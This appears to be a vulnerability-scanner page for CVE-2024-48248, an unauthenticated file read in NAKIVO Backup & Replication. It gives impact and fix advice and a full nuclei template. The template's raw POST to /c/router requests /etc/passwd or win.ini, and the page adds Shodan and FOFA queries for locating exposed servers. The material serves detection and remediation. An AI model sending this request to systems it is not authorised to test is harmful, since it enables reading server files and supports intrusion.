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CVE-2024-48248
NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
Exploited in the wild. Listed by CISA on 2025-03-19; known to be used by ransomware.
highseverity
94.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
Impact
Unauthenticated attackers can read arbitrary files from the NAKIVO Backup & Replication server.
Fix
Update NAKIVO Backup & Replication to a version that patches CVE-2024-48248.
How to confirm it
Send: POST /c/router
Positive when: regex('114,111,111,116,58,.*,58,48,58,48,58', body) and contains(body, 'STPreLoadManagement') and status_code == 200 OR contains(body, '59,32,102,111,114') and contains(body, 'STPreLoadManagement') and status_code == 200Run it with nuclei: nuclei -id CVE-2024-48248 -u <target>
The full check
id: CVE-2024-48248
info:
name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
author: DhiyaneshDK
severity: high
description: |
NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
impact: |
Unauthenticated attackers can read arbitrary files from the NAKIVO Backup & Replication server.
remediation: |
Update NAKIVO Backup & Replication to a version that patches CVE-2024-48248.
reference:
- https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/
classification:
epss-score: 0.94356
epss-percentile: 0.99852
metadata:
verified: true
max-request: 1
shodan-query: title:"NAKIVO"
fofa-query: title="NAKIVO"
tags: cve,cve2024,nakivo,backup,lfi,kev,vkev,vuln
variables:
string: "{{to_lower(rand_base(5))}}"
http:
- raw:
- |
POST /c/router HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
{"action": "STPreLoadManagement", "data": ["{{path}}"], "method": "getImageByPath", "sid": "", "tid": "{{string}}", "type": "{{string}}"}
payloads:
path:
- /etc/passwd
- C:/windows/win.ini
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
name: linux
dsl:
- "regex('114,111,111,116,58,.*,58,48,58,48,58', body)"
- "contains(body, 'STPreLoadManagement')"
- "status_code == 200"
condition: and
- type: dsl
name: windows
dsl:
- "contains(body, '59,32,102,111,114')"
- "contains(body, 'STPreLoadManagement')"
- "status_code == 200"
condition: andReferences
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